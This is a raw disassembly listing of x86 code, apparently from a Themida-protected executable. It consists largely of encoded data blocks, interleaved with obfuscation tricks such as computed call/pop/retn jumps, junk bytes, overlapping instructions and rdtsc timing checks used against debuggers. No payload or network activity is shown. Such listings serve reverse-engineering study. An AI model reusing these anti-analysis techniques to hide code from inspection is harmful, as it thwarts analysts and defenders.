		retn	65F6h
; ---------------------------------------------------------------------------
		dd 8166DD5Fh, 898A8CE3h, 0E348D85h, 0E8F9FC06h,	0Eh, 20AB48C3h
		dd 9A314FB3h, 0ECA0BC7Eh, 0BD89704Fh, 60E22C9h,	0E9C08B5Bh
		dd 0Ch,	8CBE252Eh, 53100136h, 74ACD05Ah, 0E21BD83h, 7500060Eh
		dd 0C5BD8309h, 60E0Fh, 53501374h, 1B8C08Bh, 8D000000h
		dd 10A70E9Dh, 5BD3FF06h, 0C5BD8358h, 60E0Fh, 53501174h
		dd 1B8h, 0BF9D8D00h, 0FF0610A5h, 66585BD3h, 0B283D1BBh
		dd 61BD01F7h, 8B060E1Ah, 68C0FC0h, 8B000000h, 0E15B995h
		dd 0C5BD8306h, 60E29h, 1DD840Fh, 89600000h, 0E29C1B5h
		dd 31BE6606h, 0BD836158h, 60E0EC1h, 0C4840F00h,	6A000001h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 60AFC350h, 238DBD01h, 858B060Eh, 60E0EC1h
		dd 6870Fh, 9D290000h, 60E1EDDh,	3E805h,	52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 50DB3234h, 77B7D1B4h, 219529A5h, 8B060E20h, 0E2D299Dh
		dd 66609006h, 0FE7BBBFh, 28Ah, 61616000h, 8E950h, 66760000h
		dd 44CB1029h, 0F90CDB9h, 858DDBB7h, 60E4D85h, 0B0EB8166h
		dd 8B665020h, 240489DAh, 22799533h, 858D060Eh, 60E4D63h
		dd 5B9FB752h, 50616090h, 0B9BA6660h, 66525069h,	0F61A4B8h
		dd 6A19B931h, 585A6B89h, 6A9061h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0F092B6C3h, 0FFDF8B66h
		dd 0E250195h, 0E99D8B06h, 83060E18h, 858D0CC4h,	60E4D63h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0E4C35545h
		dd 0B45A6FFBh, 17C33E53h, 0F3816624h, 0E990156Ah, 0Eh
		dd 0E86C1DD9h, 1B8763A9h, 2C83F419h, 0B650346Eh, 6A90A0h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 91846AC3h, 0DEBF0FDEh, 6AD3BF0Fh, 50006A02h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 97175C10h
		dd 0FFDE8BF9h, 6AED1495h, 0C99D8B00h, 61060E0Ch, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 86C35545h, 0C860F6Dh
		dd 0F000000h, 683h, 3D9D2B00h, 0C7060E08h, 0E4D9685h, 106h
		dd 6840F00h, 8B000000h,	0E17CD95h, 0F48A9606h, 0DE950h
		dd 0F8640000h, 44B92D76h, 15567407h, 96E37A70h,	39CA8166h
		dd 5149BB43h, 0B5897E8Eh, 60E4D47h, 27718D31h, 0BD83060Eh
		dd 60E0D79h, 27850F01h,	0F000000h, 687h, 0E1B58900h, 83060E17h
		dd 850F05F8h, 12h, 8459589h, 0B8060Eh, 0BA000000h, 68BF28D8h
		dd 0BD83D88Bh, 60E1679h, 1C840F00h, 80000000h, 6660AFD3h
		dd 52A7DB81h, 167995FFh, 8D89060Eh, 60E297Dh, 0A9852961h
		dd 83060E17h, 0E205DBDh, 840F0006h, 1Eh, 8059D89h, 0CE9060Eh
		dd 4000000h, 82BC40A2h,	0AB3F1794h, 0B816C279h,	0
; ---------------------------------------------------------------------------
		mov	edx, esi
		pusha
		mov	ebx, 4D8C0C8Eh
		mov	eax, [ebp+60E07D1h]
		add	eax, 2
		push	0
		push	edx
		call	sub_54E724
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54E724	proc near		; CODE XREF: Themida_:0054E71Cp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_54E724	endp

; ---------------------------------------------------------------------------
		cmp	esp, ebp
		jnb	short near ptr loc_54E73C+1
		push	ebp
		xchg	eax, esi
		xor	edx, [edi]


loc_54E73C:				; CODE XREF: Themida_:0054E736j
		aam	89h
		test	[edi], edi
		dec	ebp
		push	cs
		push	es
		push	0
		push	edx
		call	sub_54E74E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54E74E	proc near		; CODE XREF: Themida_:0054E746p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_54E74E	endp

; ---------------------------------------------------------------------------
		mov	bh, 0B3h
		mov	edx, eax
		mov	byte ptr [eax],	0FFh
		push	0
		push	eax
		call	sub_54E770
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54E770	proc near		; CODE XREF: Themida_:0054E768p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_54E770	endp

; ---------------------------------------------------------------------------
		dd 39AA88E4h, 3E47D0Ah,	0E34619Dh, 0DBD8906h, 0E9060E1Ah
		dd 5, 0F87EBE87h, 1185C640h, 53060E2Fh,	0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 16h, 9C35747h, 8E684847h
		dd 818A427Ah, 32562434h, 958976F3h, 60E0D09h, 0C3DB5FFh
		dd 6A060Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0A9A7CDC3h, 13335250h, 8C0F9196h,	6, 0BFD9D2Bh
		dd 858D060Eh, 6116F74h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 0BC35141h, 0C0CA8077h, 0D0FFDF8Bh, 0AC1952Bh
		dd 8589060Eh, 60E0F45h,	0E1D952Bh, 0BD83060Eh, 60E0B31h
		dd 12850F01h, 89000001h, 0E07F9BDh, 9D8B6106h, 60E1CD5h
		dd 2F1185C6h, 8B45060Eh, 0E1E3595h, 0E8D38B06h,	4, 0DA6038C2h
		dd 11E8h, 4BE49700h, 0D3DE31CBh, 43C6C7D9h, 992A816Eh
		dd 64B3C777h, 5060505Ah, 60310F52h, 66585A61h, 8B61D08Bh
		dd 57042444h, 8B5AF48Ah, 89FA8A00h, 0E8042444h,	13h, 0F40AC68Ch
		dd 0F133383Ah, 0B7583948h, 402F90A4h, 50E89883h, 0C1BB6652h
		dd 0E8310F07h, 6, 530D148Ah, 5A5A09A1h,	6A585A58h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 8084C350h, 69F38166h, 3DB5FF39h, 66060E0Ch, 858DDE8Bh
		dd 6116F74h, 1EEABB66h,	6AD0FFh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 8D508AC3h, 3BB9AA08h
		dd 0F78C1D4h, 86h, 8B006A00h, 0E146195h, 60D0FF06h, 12E9F5h
		dd 155F0000h, 0C10BD93Fh, 79D69345h, 54184187h,	48AF71F2h
		dd 0EDBD8361h, 1060E13h, 0CC850Fh, 8B560000h, 0E154995h
		dd 858B5A06h, 60E07D1h,	38F0Fh,	0F5500000h, 76E95Bh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0AFC950C3h, 99295110h, 958B03F4h, 60E3481h, 0DA8B6650h
		dd 8B240489h, 0E2D459Dh, 0FF146A06h, 0E0F4595h,	0E5958B06h
		dd 58060E0Dh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Ah,	0B0C35545h, 57673366h, 0F78019E0h, 858B6034h, 60E08EDh
		dd 61F0B70Fh, 0F003880h, 0FFFFAB85h, 52006AFFh,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 98EB699Bh
		dd 0ABE1AA00h, 9D8BE5ABh, 60E0315h, 660100C6h, 8961D18Bh
		dd 0E02E585h, 0FDBD8906h, 83060E17h, 0E24DDBDh,	840F0006h
		dd 39h,	95BD2B60h, 0B9060E1Dh, 2F3D8CCFh, 8BFF6A61h, 0E00619Dh
		dd 4595FF06h, 56060E0Fh, 5BD2B70Fh, 0FFFFE8E9h,	0FE9FFh
		dd 1750000h, 9F403BD5h,	0F947B0E7h, 0C2565B97h,	0DD85C71Dh
		dd 1060E24h, 0B7000000h, 4B85898Bh, 6A060E4Dh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 233BC353h, 25AC0F00h, 50FA9DC4h, 177068BAh, 24048939h
		dd 858960F9h, 60E2065h,	76CA8166h, 89056AD0h, 0E0C9D95h
		dd 0D6BF0F06h, 4D63858Dh, 8B66060Eh, 0C5958BD1h, 50060E32h
		dd 0FE8h, 5D160500h, 93EF93ACh,	98ED1DA0h, 0ED0C7D22h
		dd 2404895Bh, 30A99589h, 858D060Eh, 60E4D53h, 4A58589h
		dd 6690060Eh, 507319BAh, 0DA8B6660h, 15D9BB66h,	8D0F9061h
		dd 6, 1B5DBD89h, 95FF060Eh, 60E1545h, 0BE9h, 54FFB400h
		dd 21085A9Bh, 3B795266h, 8DD98B66h, 0E79B08Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 77BB6685h, 4D9D89D1h, 0B060E0Eh, 8D1174C0h, 0E4D6385h
		dd 0D1FF5006h, 4D818589h, 0AEB060Eh, 4D8185C7h,	0FFFF060Eh
		dd 0D281FFFFh, 893FEF8h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 19h, 5CC35343h, 373EDF12h,	6A61F9EDh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0BB18C352h, 1888726Ah, 66C5A6C5h, 0C61B7BBBh, 0E2F1185h
		dd 6A4D06h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0DA602BC3h, 786A591Eh, 5A6806DAh,	6659F090h
		dd 481D98Bh, 44E64E24h,	50006A4Ah, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0FF994327h, 0E0C59B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 2D8A596h, 6F74858Dh, 6A0611h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 61EADBC3h
		dd 8B664219h, 0FCD0FFD1h, 1FD18589h, 0BB66060Eh, 85C6BCCCh
		dd 60E2F11h, 0FD9D8B45h, 68060E17h, 0F9BC0604h,	3481DE8Bh
		dd 0CE6F6D24h, 62BB5677h, 5B232B86h, 0C3DB5FFh,	6A060Eh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 84BB3C3h, 8B66DDA8h,	0C28166D3h, 858D2B21h, 6116F74h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0E1C35343h
		dd 898DA9FAh, 0E24AD9Dh, 50D0FF06h, 9D517BBBh, 85895A5Ch
		dd 60E2E5Dh, 18ED9589h,	0B3B2060Eh, 0E380D28Bh,	0D98C660Ah
		dd 23899D8Bh, 0C1F6060Eh, 0AA840F04h, 0E9000002h, 0Bh
		dd 0A2F8407Eh, 0B76AEEACh, 0E95E8C46h, 173h, 346D9531h
		dd 0B58B060Eh, 60E17E5h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 19h, 0B6C35040h, 253485C9h, 8B66605Ch, 13E9CAh
		dd 5DB30000h, 28929EE7h, 60C65215h, 680066EFh, 15B84A2Ah
		dd 0C6816122h, 1180h, 95D950Bh,	0BD83060Eh, 60E3465h, 50850F00h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 0BBE3C352h, 12FB4977h,	0DE8h
		dd 838DAD00h, 877BDAD7h, 0C9766C23h, 0CE92B45h,	34000000h
		dd 6CA03CBFh, 0B226667Dh, 5BE24713h, 96E9h, 85B58900h
		dd 83060E1Dh, 840F003Eh, 87h, 49858960h, 8B060E1Bh, 0E33098Dh
		dd 0E9606106h, 0Ah, 898F6C6Ah, 0C79601C4h, 146AB8BDh, 24559D89h
		dd 8589060Eh, 60E0871h,	0F4595FFh, 6A060Eh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 92D9C4C3h
		dd 8932CEE9h, 0E070195h, 98E96106h, 6AFFFFFFh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 691C355h, 22C0662Fh,	31B58995h, 0C7060E35h, 106h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0FB5E98Bh, 683h, 959D8B00h, 83060E27h, 0E4D4BBDh, 850F0506h
		dd 115h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 19h,	35C35646h, 6C3DC529h, 860F08h, 8B000000h, 0E2E5DB5h
		dd 619D3306h, 0B9060E14h, 64h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 9AC35343h, 60C46D28h, 8D0FF38Bh
		dd 4, 0B873B966h, 0E83E8061h, 34840Fh, 9D8B0000h, 60E1995h
		dd 36E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 679661B1h, 775E0B40h
		dd 2A6D9D2Bh, 7E80060Eh, 840FC205h, 45h, 4684DA80h, 705BD89h
		dd 0F49060Eh, 0FFFFA885h, 38B0FFFh, 66000000h, 4AE9D38Bh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 9C3FC356h, 1F28A5Fh, 0E295DB5h
		dd 9B58906h, 1060E13h, 0E1FB185h, 13E906h, 44C60000h, 6426C0CAh
		dd 17D114FEh, 92D63AB2h, 0A0A54D0h, 9D235860h, 60E29C1h
		dd 33D1BD83h, 0F00060Eh, 11684h, 0DFB70F00h, 0C7805260h
		dd 85C65A0Ch, 60E2F11h,	57006A54h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 9509974Fh, 60E2D6Dh, 11E9h
		dd 0EEA86300h, 1870E30Eh, 0E3F5151Dh, 0B44B2F21h, 226837E2h
		dd 0B38A3D42h, 24048146h, 75117CD2h, 1A890Fh, 0E9600000h
		dd 0Dh,	26DA98F5h, 542166FEh, 0ACF1CF55h, 9D958BA7h, 61060E2Fh
		dd 0C3DB5FFh, 11E9060Eh, 1E000000h, 0E8E4661Bh,	0E76D5D31h
		dd 0EFB854AEh, 781EABEEh, 6F74858Dh, 57510611h,	1541958Bh
		dd 5A5A060Eh, 8F0FD0FFh, 6, 1D598529h, 6A060Eh,	249BD89h
		dd 8F0F060Eh, 5, 2DCE8052h, 0D1B5FF5Bh,	6A060E33h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 6BA9C350h, 335E70Ah,	8BD0FF0Eh, 0E1C959Dh, 6A6106h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 3F5A50C3h, 0C716A6B4h, 0E0C6D85h, 106h, 74BB6600h, 2BE5BACEh
		dd 0BB6015E8h, 69DBEE76h, 0C64EB568h, 8B66604Ah, 616056D7h
		dd 3481615Eh, 0C64E3524h, 55006A4Ah, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0EC400B2h
		dd 1C852119h, 9E9FF6Ah,	3B000000h, 884DF861h, 0D0783BDh
		dd 202995FFh, 7FBB060Eh, 6164F021h, 0F91B589h, 5060060Eh
		dd 581BBE66h, 5F565159h, 8B506159h, 240489D3h, 33DD958Bh
		dd 858B060Eh, 60E01F9h,	0CC6BB66h, 840FC00Bh, 31h, 6995FFF8h
		dd 6A060E19h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0F8B3C357h, 8E9h, 7B14B800h, 0EC9DEE09h
		dd 0FD85C73Ah, 1060E23h, 23000000h, 0E2C459Dh, 65BD8306h
		dd 60E18h, 17840Fh, 66600000h, 9D89F28Bh, 60E30A9h, 2595FF61h
		dd 89060E33h, 0E2D5D95h, 25BD8306h, 60E09h, 1B840Fh, 0AE90000h
		dd 6000000h, 0FFBC4DBh,	0A11C2271h, 8D95FF7Ch, 8B060E2Fh
		dd 0E232595h, 0F5BD8306h, 60E07h, 4A840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0E9B57DC3h, 6, 41B3323Ch, 0BD83238Ch, 60E0839h, 15850F00h
		dd 0B2000000h, 3195FFC8h, 60060E10h, 0BD4B67BAh, 4185017Bh
		dd 61060E0Eh, 142DBD83h, 0F00060Eh, 7584h, 619D3100h, 81060E0Ch
		dd 0E1D9D85h, 400306h, 53006A00h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 556B6289h, 8E8h, 8AC43C00h
		dd 696C2C29h, 0EE846h, 22CC0000h, 3BD485A9h, 98F0E1A1h
		dd 0F1D87ACFh, 13E9h, 785B3100h, 56009445h, 0A7C6B309h
		dd 3D5B14D8h, 7E247E52h, 85815A5Ah, 60E15C5h, 4003h, 310FD88Bh
		dd 1C958D31h, 8529060Eh, 60E182Dh, 5CBB8D8Dh, 6A060Eh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 91B6FFC3h, 437AD038h, 9D230189h, 60E1E61h, 6AC233h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 9D8B6BC3h, 60E2315h,	8B044189h, 0E24ED95h, 66310F06h
		dd 9D29D78Bh, 60E2C95h,	5D1E8D8Dh, 6A060Eh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 70BE41C3h
		dd 220CDC6Dh, 6820F69h,	0B000000h, 0E212D95h, 0BA018906h
		dd 42DECF89h, 6AC233h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 4189DFC3h, 0D7BF0F04h, 0FB1BD83h
		dd 0F00060Eh, 2C84h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 6661CD90h, 0FFE4BCBBh
		dd 0E2A2195h, 19BA6606h, 79BD83EDh, 1060E27h, 90850Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 9EBA56C3h, 336573C8h, 0E0F219Dh, 64E906h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 572E89C3h, 40906F91h, 6DB58BDAh, 0C7060E5Eh
		dd 6, 5B58B00h,	0C7060E5Ch, 6, 0D48ACF00h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F7C35242h, 0DF956C98h
		dd 0FE81E5Bh, 0BD83DEBFh, 60E23FDh, 0E8840F00h,	8B000001h
		dd 0E1E459Dh, 0A5BD8306h, 1060E30h, 1A7850Fh, 8E0F0000h
		dd 0Eh,	718D8960h, 89060E03h, 0E1E2D9Dh, 8D8B6106h, 60E4D3Fh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 5FC35343h
		dd 67846EBh, 60506E10h,	74DB531h, 0BF66060Eh, 0C6618121h
		dd 6E90001h, 76000000h,	71306304h, 0AE8601Dh, 0D8000000h
		dd 31FECB52h, 0BB24419Bh, 0EA815106h, 5D0C26BDh, 0DA805B5Bh
		dd 4E813h, 800000h, 52500000h, 310F5EB6h, 585AD98Bh, 28BA6650h
		dd 24448B68h, 0F526004h, 80h, 50525A00h, 5A310F52h, 8B615E58h
		dd 89F98A00h, 60042444h, 0CE9h,	217F3E00h, 0B069FEB3h
		dd 54C25789h, 14E9FCh, 0A5D40000h, 9631936Eh, 9311D537h
		dd 1C2EACE2h, 9A23B5CDh, 58617998h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 2EC35646h, 575F5FD7h, 0E9C27EC8h
		dd 0Dh,	216343D1h, 93CE38AFh, 0DE717391h, 6AFF6A93h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0DEBFC355h, 0EDB29091h, 0DE8C7h, 0F1E0000h, 0DD3A83DAh
		dd 0D90494B9h, 0E88C0252h, 0Ah,	3D16A50Ch, 3F65967Fh, 9529F1E9h
		dd 60E30B5h, 95FF5B5Bh,	60E2029h, 5AD88B51h, 27EA8161h
		dd 0FF399272h, 0E00A195h, 0C2805006h, 8D8B5A50h, 60E4D3Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 3DC35040h
		dd 81732C56h, 0EB809AE2h, 8901FE66h, 0E2ED9B5h,	39BD8306h
		dd 1060E2Ah, 21850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 666753C3h, 8B2BA3BAh
		dd 0E242BBC0h, 0BD83756Dh, 60E0E21h, 83097500h,	0E0FC5BDh
		dd 1A740006h, 0C08B5350h, 1D9D858Bh, 8589060Eh,	60E1D9Dh
		dd 0A86C9D8Dh, 0D3FF0610h, 0BD83585Bh, 60E0FC5h, 50187400h
		dd 9D858B53h, 89060E1Dh, 0E1D9D85h, 5B9D8D06h, 0FF0610A5h
		dd 6A585BD3h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0F79FC357h, 4CCCE34Ah,	29279755h
		dd 0E0EB185h, 0DB816006h, 30F10F90h, 0C08BFC61h, 14E8h
		dd 5185D400h, 152109C4h, 0C8599CE1h, 32F938A0h,	9BC3226Eh
		dd 2DBD899Bh, 5B060E31h, 23FDBD83h, 0F00060Eh, 1585h, 0D1958B00h
		dd 83060E31h, 0E1801BDh, 840F0006h, 2, 0BD83F78Ah, 60E23FDh
		dd 52840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 747EC357h, 83A014FFh
		dd 0E0FB9BDh, 840F0006h, 25h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 8DC35242h, 0C23803DFh, 8B5E381Fh
		dd 0FDBD83D6h, 60E23h, 2F840Fh,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0BD83AEC3h
		dd 60E0FB9h, 6840F00h, 89000000h, 0E2EF9BDh, 0FDBD8306h
		dd 60E23h, 60840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h
		dd 44810424h, 1B0424h, 50400000h, 31936EC3h, 11D53796h
		dd 59D8993h, 29060E13h,	0E1645BDh, 0B5BD8306h, 60E2Eh
		dd 24840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 6CC2FFC3h, 0EF33EEA7h, 0BD839E33h
		dd 60E23FDh, 38840F00h,	1000000h, 0E2219B5h, 0C1BD8306h
		dd 60E28h, 25840Fh, 5CB20000h, 296D95FFh, 6A060Eh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 8BFF2FC3h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 4AD4EE4Eh, 66B20722h, 2BD41EBBh
		dd 0E250595h, 21BD8306h, 60E0Eh, 0BD830975h, 60E0FC5h
		dd 501A7400h, 8BC08B53h, 0E15C585h, 0C5858906h,	8D060E15h
		dd 10A8D39Dh, 5BD3FF06h, 0C5BD8358h, 60E0Fh, 53501874h
		dd 15C5858Bh, 8589060Eh, 60E15C5h, 0A5749D8Dh, 0D3FF0610h
		dd 9533585Bh, 60E0C01h,	8BCBB7F8h, 5E9C0h, 0B3280000h
		dd 83BA99B7h, 0E23FDBDh, 840F0006h, 3A7h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ah, 56C35242h, 0FB13A6ABh
		dd 0BD83D8ECh, 60E0B31h, 4D840F02h, 29000000h, 0E2195B5h
		dd 79BD8306h, 1060E27h,	3A850Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0E96080C3h
		dd 7, 308A1550h, 8B19D1BEh, 0E0EF18Dh, 0BA666106h, 8589A86Eh
		dd 60E1F81h, 0BE95060h,	0C3000000h, 0C172EDFFh,	157E25EEh
		dd 8B5B8CC8h, 0E4D3F8Dh, 0EDDB8106h, 0FE603BF3h, 0DB816601h
		dd 81662761h, 6879D7D3h, 0B4D4E385h, 0E32086BAh, 24048122h
		dd 4B2B1CFBh, 850Fh, 0FF6A0000h, 0BE9h,	20B77400h, 4443E44Fh
		dd 61DBBF1h, 95FFD88Bh,	60E2029h, 2FF7BB66h, 0D88B6661h
		dd 1E7DBD8Dh, 6A060Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0B70F86C3h, 1C4F8BD9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 48C35545h, 6A016Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 9EC092C3h, 0E991B6B5h, 0Ch, 0C7A55F7Dh, 0A1622F02h
		dd 6287048Ah, 0DF8B6650h, 95BA6691h, 3858D3Dh, 0E9061139h
		dd 6, 0D506A7D4h, 0D0FFC25Ah, 1E1D8D29h, 4F8B060Eh, 7E920h
		dd 0FC680000h, 0BB9F644Dh, 558D89F3h, 6A060E2Eh, 50DA8B03h
		dd 298D9503h, 505B060Eh, 10E9h,	51D85A00h, 0B168CD21h
		dd 0EF50BC0Eh, 0CA262E56h, 240C899Ah, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 0D5C35646h,	8D952BB7h, 8D060E1Bh
		dd 11390385h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 6EF0E75Fh, 1BBD9D8Bh, 0D0FF060Eh
		dd 0BD8DC1B3h, 60E1E7Dh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 17h, 0FFC35242h, 0E98706B9h, 0Fh, 34D84799h
		dd 0FCF17F8Eh, 0D1FD47A4h, 8B3473DEh, 6A1C4Fh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 800FE8C3h, 0
; ---------------------------------------------------------------------------
		push	1
		mov	[ebp+60E13D9h],	ebx
		push	eax
		mov	ebx, esi
		mov	[esp], ecx
		jmp	loc_54FC03
; ---------------------------------------------------------------------------
		db 5Ah
		dd 106B7FA8h, 16199D1Dh, 0CB76AE39h
		db 32h,	98h, 0A1h
; ---------------------------------------------------------------------------


loc_54FC03:				; CODE XREF: Themida_:0054FBEEj
		lea	eax, [ebp+6113903h]
		mov	[ebp+60E1D49h],	edi
		call	eax
		or	[ebp+60E2469h],	eax
		mov	ecx, [edi+20h]
		push	edx
		jmp	loc_54FC29
; ---------------------------------------------------------------------------
		dd 2A50059h, 4C60ED55h
		db 9
; ---------------------------------------------------------------------------


loc_54FC29:				; CODE XREF: Themida_:0054FC1Bj
		pop	ebx
		push	3
		jb	loc_54FC36
		mov	dx, 0C62Ch


loc_54FC36:				; CODE XREF: Themida_:0054FC2Cj
		xchg	eax, ecx
		mov	dl, 0B1h
		push	eax
		mov	edx, ecx
		xchg	eax, ecx
		mov	[ebp+60E0E95h],	esi
		lea	eax, [ebp+6113903h]
		mov	edx, [ebp+60E0781h]
		call	eax
		mov	bx, 943h
		mov	ecx, [ebp+60E4D3Fh]
		cmc
		call	near ptr loc_54FC72+2
		pop	eax
		mov	ds:0AE27D34Ch, al
		xchg	eax, esp
		adc	esp, ecx
		mov	dl, 94h
		pop	es
		test	bl, ah
		cmc
		movsb
		pop	esi


loc_54FC72:				; CODE XREF: Themida_:0054FC5Cp
		call	far ptr	0E17h:9D958B15h
		push	es
		pop	edx
		inc	byte ptr [ecx]
		add	bh, 0CCh
		mov	eax, [ebp+60E4D3Fh]
		call	near ptr loc_54FC9D+1
		mov	eax, 578847C9h
		jnp	short loc_54FCF4
		xor	eax, 8F2A6710h
		db	67h
		mov	bl, 64h
		mov	ch, 0B4h
		movsb


loc_54FC9D:				; CODE XREF: Themida_:0054FC86p
		mov	edi, 0FE5AD68Bh
		add	[ebx], al
		xchg	eax, ebp
		and	[edi], edx
		push	cs
		push	es
		push	1
		push	0
		push	edi
		call	sub_54FCB6
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54FCB6	proc near		; CODE XREF: Themida_:0054FCAEp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_54FCB6	endp

; ---------------------------------------------------------------------------
		dw 8795h
		dd 11E82Dh, 0C7A40000h,	9F7C932Bh, 2E5D7803h, 194C50E3h
		dd 81FDF307h, 0E60CC3D3h, 47685B12h, 50F92269h,	8B665352h
		dd 310F5BD9h
; ---------------------------------------------------------------------------


loc_54FCF4:				; CODE XREF: Themida_:0054FC90j
		push	eax
		push	edx
		push	esi
		pop	edx
		rdtsc
